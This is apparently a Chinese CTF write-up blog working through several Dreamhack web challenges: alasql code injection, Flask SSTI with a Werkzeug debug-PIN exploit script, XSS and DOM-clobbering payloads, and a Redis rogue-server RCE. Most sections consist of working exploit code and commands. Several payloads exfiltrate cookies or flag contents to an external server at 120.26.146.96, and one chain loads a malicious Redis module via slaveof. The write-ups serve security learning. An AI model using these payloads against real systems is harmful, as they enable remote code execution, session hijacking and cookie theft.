-----END PUBLIC KEY-----

jwt
Dockerfile删除的/usr/local/lib/python3.9/site-packages/jwt/algorithms.py刚好是 PyJWT 1.7.1 中防止非对称公钥被用作 HMAC 密钥的检查代码(CVE-2022-29217),那我肯定不想删这个东西,就用之前的脚本生成jwt好了。另外需要注意,上面的AUTH_PUBLIC_KEY中有个空格,需要换成+

之后,,,之后的,,,居然被ai一把梭了😨,他给了我一个exp,跑了一下直接爆flag了。。。
exp_flag
flag

那么结合它的exp来分析一下流程吧。考点是UUIDv1 预测。UUIDv1 基于时间戳。由于代码中是连续调用,两个 UUID 的时间戳差异极小,也就是说可以通过伪造的 Token 访问 드림대학교 主页,获取Free Boardboard_id,然后通过微调时间戳(增加偏移量)来爆破Secret Boardboard_id
exp

秘密版块虽然开启了 MFA,但 school_board 路由(/s//)中只检查了 visible 属性,没有再次校验 MFA 状态。只要拥有드림대학교身份,并且知道secret_board_id,即可直接访问版块并读取flag。

有意思是,前两天刚刚翻到了LamentXU的这篇文章-聊聊python中的UUID安全。了解到Python的UUIDv1实现是基于PRNG的伪随机数。”那么一次UUIDv1就会泄露14个字节,根据MT19937的攻击方式。我们需要连续624*32//(14)+1=1427次泄露就可以预测下一个生成的clock_seq”。嗯,看不懂。

web-alasql

Description

The alaserver included in the nodejs alasql package works.
Flags /flag can be obtained by running.
This issue is for experienced web hackers.

解题

附件给了docker相关的东西
docker-entrypoint.sh

1
2
3
#!/bin/bash
su node -s /bin/sh -c "while [ 1 ];do alaserver;done"
# while [ 1 ];do sleep 10000;done

Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
FROM node:dubnium-alpine

ADD ./deploy /app

WORKDIR /app

RUN apk add --no-cache musl-dev gcc \
&& npm install -g alasql@0.6.0 && sed -i 's/127.0.0.1/0.0.0.0/g' /usr/local/lib/node_modules/alasql/bin/alaserver.js\
&& mv docker-entrypoint.sh /usr/local/bin/\
&& gcc /app/flag.c -o /flag \
&& chmod 111 /flag && rm /app/flag.c

ENTRYPOINT ["sh", "/usr/local/bin/docker-entrypoint.sh"]

参考这篇文章https://security.snyk.io/package/npm/alasql/0.6.0

他给了一个Poc,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const alasql = require('alasql');

const genPayload = command => `
new Function(
'return this.process.mainModule.require'
)()('child_process').execSync(${JSON.stringify(command)})
`;


res = alasql(
// Initialize the database
'CREATE table i_am_a_table;' +
`INSERT INTO i_am_a_table VALUES (1337);` +

// Code injection in four different ways
`UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
`SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
`SELECT \`'+${genPayload(">&2 echo SELECT pwned again, back-quote works too. $(whoami)")}+'\` from i_am_a_table where 1;` +
`SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
);

那么只要压缩成一句话用curl发出去就好了:
flag

1
2
3
curl -g "http://host3.dreamhack.games:16449/?CREATE%20TABLE%20t;INSERT%20INTO%20t%20VALUES(1);SELECT%20*%20FROM%20t%20WHERE%201=[0'+(function(){throw%20new%20Error(global.process.mainModule.require('child_process').execSync('/flag').toString())})()+'0]"

"Error: DH{a849ef8b9106c65a30d2238623a9d848}\n\n"

那么原理呢?

AlaSQL还蛮神奇的,普通SqlAlaSQL的区别就很像ScratchTurboWrap的区别。AlaSQL把sql语句编译为js,然后把查询函数注入V8运行时,相当于直接在跑js虚拟机。这里不太直接地考到了CVE-2021-28860。AlaSQL允许使用中括号[ ]来包裹含有特殊字符的列名或表名。而在0.6.0版本中,AlaSQL的代码生成器在处理中括号内的内容时,没有任何转义和过滤,直接将它们硬拼接到了即将执行的JavaScript字符串里。

那么相当于是js注入。文章的PoC没有回显,但是Dockerfile提示这是alaserver.js,那么就去翻一下源码,看看有没有能够回显的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env node
//
// alaserver.js = Alasql Server
// Date: 25.11.2014
// (c) 2014, Andrey Gershun
//

var alasql = require('alasql');
var http = require('http');
var url = require('url');
var port = (process.argv[2] || 1337) | 0;
if (!port) {
throw new Error('Wrong port number ' + process.argv[3]);
}

http
.createServer(function (req, res) {
var sql = decodeURI(url.parse(req.url).search).substr(1);
var a = '';
try {
a = alasql(sql);
} catch (err) {
a = err.toString();
}
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify(a));
})
.listen(port, '127.0.0.1');

console.log('Server running at http://127.0.0.1:' + port + '/');

可以看到啊,catch接到的东西会被发回来,那么throw一个Error就可以了

再来看一眼payload:

1
2
3
CREATE TABLE t;
INSERT INTO t VALUES(1);
SELECT * FROM t WHERE 1=[0' (function(){throw new Error(global.process.mainModule.require('child_process').execSync('/flag').toString())})() '0]

最后这个中括号会被拼接成什么呢?因为AlaSql会把语句编译为js,最终一定会把

1
2
3
4
1=[0' (function(){throw new Error(global.process.mainModule.require('child_process').execSync('/flag').toString())})() '0]```
编译为js的
```js
1 == row['0' + (function(){ throw new Error( child_process.execSync('/flag') ) })() + '0']

OK啊,那么就去exec了,并且会把stdout给throw出来。其实原理不复杂,还好找到了那篇文章,不然真不会做。。

NSS

Description

The Simple and Secure Node.js Storage Service!

解题

我的靶机炸了

I can Read!

Description

Rumor has it that the admin page is broken and is being debugged on the internal network..

审计

代码不到40行,有两个flask。main监听5000端口,/路由有SSTI;8000端口有个/keygen,但开了Debug,可以触发报错。

1
2
3
4
5
@app.route('/keygen/<path:string>')
def keygen(string):
n = len(string)-1
a = hashlib.md5(string.encode('utf-8'))
return str(hex(int(int(a.hexdigest(),16)/n)))

这里只要传入一个字符,比如/a,n就等于0,会触发ZeroDivisionError

附件缺少run.sh,直接开靶机吧

解题

5000端口的SSTI确实可用,但读不了/flag,权限不足。怀疑admin是root权限。
ssti
rce

读一下run.sh,payload:

1
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /run.sh').read()}}
1
2
3
#!/bin/sh
su - user -c "nohup python3 /var/www/main/app.py 1> /dev/null 2>&1 &"
python3 /var/www/admin/app.py

试试看admin的flask debugger:

1
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('curl http://localhost:8000/keygen/test').read()}}

debugger

那么思路很清晰,要计算flask的debug pin。先收集信息:

1
2
3
4
5
6
7
8
9
cat /sys/class/net/eth0/address
aa:fc:00:02:1c:01

cat /proc/sys/kernel/random/boot_id
3dee9a2d-9d64-45dd-aec8-b6b51ecc4728

cat /proc/self/cgroup
# 取第一行字符串
0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da

其他信息是已知的:

1
2
3
4
5
6
probably_public_bits = [
'root' # username
'flask.app', # modname
'Flask', # appname
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir
]

翻出之前留着的计算脚本,我忘记是哪篇博客抄来的,链接先不放了..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import hashlib
from itertools import chain


def mac_10():
"""
/sys/class/net/eth0/address mac地址十进制
:return:
"""
mac_address = "aa:fc:00:02:1c:01"
# 将MAC地址视为一个十六进制数(去掉冒号)
value = int(mac_address.replace(":", ""), 16)
return str(value)


probably_public_bits = [
'root' # username
'flask.app', # modname
'Flask', # appname
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir
]

machine_id = ''
boot_id = '3dee9a2d-9d64-45dd-aec8-b6b51ecc4728'
c_group = '0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da'

id = ''
if machine_id:
id += machine_id.strip()
else:
id += boot_id.strip()
id += c_group.strip().rpartition('/')[2]

private_bits = [
mac_10(), # mac地址
id #machin-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)
# 273-621-736

然后就是和普通题目稍微不太一样的地方了,这个debugger只能拿到html,没法直接用浏览器来操作。这里研究了一下,写了个python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import urllib.request as r, urllib.parse as p, re
try: r.urlopen("http://127.0.0.1:8000/keygen/a")
except Exception as e: h = e.read().decode()
s = re.search('SECRET = "(.*?)";', h).group(1)
# SECRET = "H4JJYUB2zmXDJEmvr08M"
f = re.search('id="frame-(.*?)"', h).group(1)
# id="frame-140589298894208"
print("S:"+s+" F:"+f)
pin = '273-621-736'

q = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd=pinauth&pin="+pin+"&s="+s)
res = r.urlopen(q)

print("Auth OK with " + pin)
c = res.getheader('Set-Cookie')
if not c: c = res.getheader('set-cookie')
cmd = p.quote("__import__('os').popen('cat /flag').read()")
q2 = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd="+cmd+"&frm="+f+"&s="+s)
q2.add_header("Cookie", c)
print(r.urlopen(q2).read().decode())

用base64先上传到/tmp/exp.py,然后再python3 /tmp/exp.py,OK出了。

1
curl -H "X-Proxy-Target: http://127.0.0.1:8000/" http://host3.dreamhack.games:14857

flag

复盘

其实我想打内存马,增加一个/proxy路由,直接复用5000端口作为http代理,不过没打通,靶机到期了…先留着,这个得学的。

easyxss

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
router.get('/', (req, res) => {
const blog = req.query.blog || 'https://pocas.kr';
const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
const url = parse(user['setblog'], true)
, hostname = url.hostname;

if ((hostname === 'web-noob.kr' && user['username'] === 'hello') || (hostname === 'web-noob.kr' && username === 'world')) {
console.log(1)
res.render('index', {url:url});
} else {
res.render('index', {url:'#'});
}
});

XSS出现在/路由上,注意到两个点:1. Json是拼接而成的,可能存在双引号破坏结构;2. if那行第一个用户名判断使用了user['username'] === 'hello'),第二个使用了username === 'world'。如果还有一点,那就是url.hostname可以指定任意协议头。

解题

首先尝试本地XSS,结合上述几点,使用这个Payload:

1
/?blog=http://web-noob.kr/", "username":"hello

jump
发现真的跳转到http://web-noob.kr/了。同理的,如果使用javascript://web-noob.kr/就可以在目标地点执行任意Js了(其实也不是)。

首先尝试最普通的也是最常见的返回base64编码网页,不过失败了

1
2
3
javascript://web-noob.kr/%0afetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+btoa(t)))", "username":"hello

javascript://web-noob.kr/\nfetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+encodeURIComponent(btoa(t))))", "username":"hello

js根本没有执行,因为本地测试下来网页都没有跳转。

仔细分析了一下,又在console里测试了一下,怀疑是EJS转义<、>、'、"、&导致的。于是上网搜索不使用这些特殊符号的payload,找到了几种,也确实是都可用的。

0. 替代箭头函数

既然大于号无法使用,那可以使用旧的js语法,把r=>r.text()还原为传统的匿名函数function(r){return r.text()}。这个是接下来两点都需要做的。

1. 使用ES6模板字符串(反引号)

反引号是比较特别,它不会被转义,用法也很简单,把单引号换成反引号,把要带出的东西用${}模板包裹就可以。

1
javascript://web-noob.kr/%250afetch(`/flag`).then(function(r){return r.text()}).then(function(t){location.href=`http://120.26.146.96:8080/?c=${btoa(t)}`})", "username":"hello

2. String.fromCharCode构造字符串

嗯这个傻傻的,但真的很有用…

1
javascript://web-noob.kr/%250afetch(String.fromCharCode(47,102,108,97,103)).then(function(r){return r.text()}).then(function(t){location.href=String.fromCharCode(104,116,116,112,58,47,47,49,50,48,46,50,54,46,49,52,54,46,57,54,58,56,48,56,48,47,63,99,61).concat(btoa(t))})", "username":"hello

3. 使用 Base64

这个是看别人的WP发现的,诶,还真是。

1
javascript://web-noob.kr/%250aeval(atob(%27ZmV0Y2goJy9mbGFnJykudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5mZXRjaCgnaHR0cDovLzEyMC4yNi4xNDYuOTY6ODA4MC8/Yz0nK2J0b2EodCkpKQ%27))%22,%22username%22:%22hello

Base64的内容是

1
fetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+btoa(t)))

cors
不过这个Payload非常奇怪,我本地XSS不行(Chrome 版本 145.0.7632.117(正式版本) (arm64)),会触发CORS,远端居然可以?

xss
flag

Guest book v0.2

Description

This is a guestbook service being developed in php.

There is a writing function and a report function that allows the administrator to check the address where the error occurred.

The flag is included in the administrator’s cookie.

Code has been added to defend against vulnerabilities found in version 0.1.

This challenge is related to RPO and DOM Clobbering.

审计

附件只给了utils.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
function addLink($content){
$content = htmlentities($content);
$content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
PreventXSS($content);
return $content;
}

$ALLOW_TAGS_ATTRS = array(
"html"=>['id', 'name'],
"body"=>['id', 'name'],
"a"=>['id','href','name'],
"p"=>['id', 'name'],
);

function PreventXSS($input){
global $ALLOW_TAGS_ATTRS;

$htmldoc = new DOMDocument();
$htmldoc->loadHTML($input);

$tags = $htmldoc->getElementsByTagName("*");

foreach ($tags as $tag) {
if( !$ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)] ) DisallowAction();
$allow_attrs = $ALLOW_TAGS_ATTRS[strtolower($tag->nodeName)];
foreach($tag->attributes as $attr){
if( !in_array(strtolower($attr->nodeName), $allow_attrs) ) DisallowAction();
}
}
}

function DisallowAction(){
die("no hack");
}

?>

实在没看出来啥,丢给AI说是单引号可以用来闭合用户输入…有点懵,先开靶机了。

解题

  • /GuestBook.php可以留言,不过好像不是储存形的。
  • /Report.php可以让bot访问指定网页(http://127.0.0.1/开头)

注意到题目给的提示:This challenge is related to RPO and DOM Clobbering.

RPO

搜索了一下RPO(Relative Path Overwrite),那么就要去找有什么东西是相对变量引用的,只发现了这个:

1
2
3
4
5
6
<script src="config.js"></script>
<script>
if(window.CONFIG && window.CONFIG.debug){
location.href = window.CONFIG.main;
}
</script>

查找config.js

1
2
3
4
5
6
7
8
9
window.CONFIG = {
version: "v0.2",
main: "/",
debug: false,
debugMSG: ""
}

// prevent overwrite
Object.freeze(window.CONFIG);

既然需要DOM Clobbering,那这个Object.freeze(window.CONFIG);肯定是需要清除的。结合提示的RPO,只需要稍稍改变一下url就可以绕过config.js的加载。

如果访问/GuestBook.php,那么就会加载当前目录(/)下的config.json;但如果访问/GuestBook.php/,那么就会尝试加载/GuestBook.php/config.js,当然返回的html,绕过了DOM覆写保护。

DOOM Clobbering

1
2
3
4
5
6
function addLink($content){
$content = htmlentities($content);
$content = preg_replace('/\[(.*?)\]\((.*?)\)/', "<a href='$2'>$1</a>", $content);
PreventXSS($content);
return $content;
}

注意这个流程,先htmlentities,再preg_replace,最后才PreventXSS。也就是说,[text](PAYLOAD)会直接正则替换为<a href='PAYLOAD'>text</a>,PAYLOAD里的单引号可以用来闭合href的前一个单引号。

目标是让满足下面这两个条件,并且让window.CONFIG.main指向XSS(javascript://…)

1
2
3
if(window.CONFIG && window.CONFIG.debug){
location.href = window.CONFIG.main;
}

构造以下payload:

1
2
[a](#' id='CONFIG' name='debug)
[b](javascript:location.href="http://120.26.146.96:8080/?c="+document.cookie;' id='CONFIG' name='main)

这会生成以下HTML:

1
2
<a href='#' id='CONFIG' name='debug'>a</a>
<a href='javascript:location.href=&quot;http://120.26.146.96:8080/?c=&quot;+document.cookie;' id='CONFIG' name='main'>b</a>

第一行让window.CONFIG && window.CONFIG.debug满足(js魅力时刻,存在即true),第二行修改window.CONFIG.main指向这个<a>标签。当执行location.href = window.CONFIG.main;的时候,会自动调用<a> 标签的 toString()。完成跳转XSS。

最终Payload:

1
GuestBook.php/?content=%5Ba%5D%28%23%27+id%3D%27CONFIG%27+name%3D%27debug%29%0D%0A%5Bb%5D%28javascript%3Alocation.href%3D%22http%3A%2F%2F120.26.146.96%3A8080%2F%3Fc%3D%22%2Bdocument.cookie%3B%27+id%3D%27CONFIG%27+name%3D%27main%29

flag

卧槽%00截断+onfocus

翻其他人的WP发现了这个东西!**%00截断+onfocus**

1
/GuestBook.php?content=%5B.%5D%28x%27+name%3D%00+onfocus%3D%27window.location%3D`http%3A%2F%2F120.26.146.96%3A8080%3Fdata%3D%60%2Bdocument.cookie%27++id%3D%00+autofocus+%27%29

URL Decode后大概是(%00是空字符,还是看图吧):

1
[.](x' name=%00 onfocus='window.location=`http://120.26.146.96:8080?data=`+document.cookie'  id=%00 autofocus ')

正则替换后是:

1
<a href='x' name=\x00 onfocus='window.location=`http://120.26.146.96:8080?data=`+document.cookie' id=\x00 autofocus ''>.</a>

\x00会截断PreventXSS的检查,到<a href='x' name=就停下了。

当页面加载完后,直接autofocus到这个<a>标签,并且触发onfocus事件完成XSS。tql

node_api

Description

Reference

challenge for advanced web hacker!

This challenge is related to Session manipulation in Redis.

审计

代码不是很长,直接贴上来了(附件又不完整。。)
main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
const FLAG = function() {
try {
return require('fs').readFileSync('flag.txt').toString();
} catch (err) {
return 'DH{*****}';
}
}()

const express = require('express');
const session = require('express-session');
const app = express();

const redis = require('redis');
const redis_client = redis.createClient();

const connectRedis = require('connect-redis');

const RedisStore = connectRedis(session);
const sess = {
resave: false,
secret: 'dreamhack',
store: new RedisStore({
client: redis_client
}),
};

const db = {
'guest': 'guest',
'dreamhack': '1234',
'ADMIN': 'this_is_admin?'
}

function login(user) {
return user.userpw && db[user.userid] == user.userpw;
}

app.use(session(sess));
redis_client.set('log_info', 'KEY: "log_" + new Date().getTime(), VALUE: userid');

app.get('/show_logs', function(req, res) {
// var log_query=get/log_info
var log_query = req.query.log_query;
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') {
log_query[0] = 'get';
}
log_query[1] = log_query.slice(1)
} catch (err) {
// Todo
// Error(403);
}
try {
redis_client.send_command(log_query[0], log_query[1], function(err, result) {
if (err) {
res.send('ERR');
} else {
res.send(result);
}
})
} catch (err) {
res.send('try /show_logs?log_query=get/log_info')
}
});

app.get('/login', function(req, res) {
redis_client.set('log_' + new Date().getTime(), 'userid: ' + req.session.userid);
if (login(req.query)) {
req.session.userid = req.query.userid;
res.send('<script>alert("login!");history.go(-1);</script>');
} else {
res.send('<script>alert("login failed!");history.go(-1);</script>');
}
});

app.get('/flag', function(req, res) {
if (req.session.userid === "admin") {
res.send(FLAG)
} else {
res.send('hello ' + req.session.userid);
}
});

app.get('/', function(req, res) {
// Todo
// res.render(...)
res.send('hello ' + req.session.userid);
});

app.listen(8000, '0.0.0.0');

package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"name": "node_api",
"version": "1.0.0",
"description": "node_api",
"main": "main.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"connect-redis": "^4.0.4",
"express": "^4.17.1",
"express-session": "^1.17.0",
"redis": "^3.0.2"
}
}

看了一遍,又是catch错误没有处理:

1
2
3
4
5
6
7
8
9
10
11
var log_query = req.query.log_query;
try {
log_query = log_query.split('/');
if (log_query[0].toLowerCase() != 'get') {
log_query[0] = 'get';
}
log_query[1] = log_query.slice(1)
} catch (err) {
// Todo
// Error(403);
}

解题1

诶不对,这题怎么感觉做过了,是数组报错绕过吧??搜索了一下卧槽这不就是之前做的phpythonode的node部分嘛。。。

先访问/cookies%3AxZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g.w5ReVUq30PS7E8a68VDpHb0NXKEOpPehxx%2BATnkOM4g

这里的Session ID就是xZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g

我们需要将 Session 数据设置为:

1
{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

payload就是:

1
GET /show_logs?log_query[0]=set&log_query[1][0]=sess:xZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g&log_query[1][1]={"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}

返回OK,然后请求/flag,拿到flag:

1
DH{c5adc4033f8b685d84d56423082f21ac}

flag
啊这。。。那是不是还有python_apiphp_api

解题2

之前做phpythonode那题时,做过redis写马了,但这题只有node环境,写马应该不行。现在我有两个思路:

  1. 修改main.js,直接返回flag.txt。不过nodejs并不会自动重新加载,这条路不通。
  2. 如果靶机出网,考虑Redis主从复制RCE,上传.so用户函数。

试一下主从复制吧:

1
GET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=8080

vps上nc -lvp 8080
network
卧槽真的出网!!OK Already connected to specified master

诶我vps上刚好有redis-rogue-server上次长城杯初赛hjppx没做出来痛定思痛

这里需要注意的是,redis默认工作目录在/app,这里redis用户没有权限写入。

1
2
GET /show_logs?log_query[0]=config&log_query[1][]=get&log_query[1][]=dir
["dir","/app"]

查询Redis版本,说是<=5.0.5可用,但实测5.0.7也可以。这里用的是:https://github.com/Dliv3/redis-rogue-server,是n0b0dyCN的同名仓库的fork,方便SSRF。

1
2
GET /show_logs?log_query[0]=info&log_query[1][]=server
# Server redis_version:5.0.7 redis_git_sha1:bed89672 redis_git_dirty:0 redis_build_id:575dc7b6da705497 redis_mode:standalone os:Linux 4.19.234 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:9.2.0 process_id:3 run_id:4ff5434ac0f35e1330f9c2451b65b73e0f9fc331 tcp_port:6379 uptime_in_seconds:2293 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:10566738 executable:/app/redis-server config_file:

开始主从复制RCE:

1
2
3
4
5
6
# 设置目录到可写的/tmp
GET /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp
# 设置备份文件名
GET /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dbfilename&log_query[1][2]=exp.so
# 连接redis-rogue-server
GET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=21000

rogue

1
2
3
4
5
6
# 加载exp.so
GET /show_logs?log_query[0]=module&log_query[1][0]=load&log_query[1][1]=/tmp/exp.so
# 切断主从连接
GET /show_logs?log_query[0]=slaveof&log_query[1][0]=no&log_query[1][1]=one
# RCE~
GET /show_logs?log_query[0]=system.exec&log_query[1][0]=cat%20/app/flag.txt

rce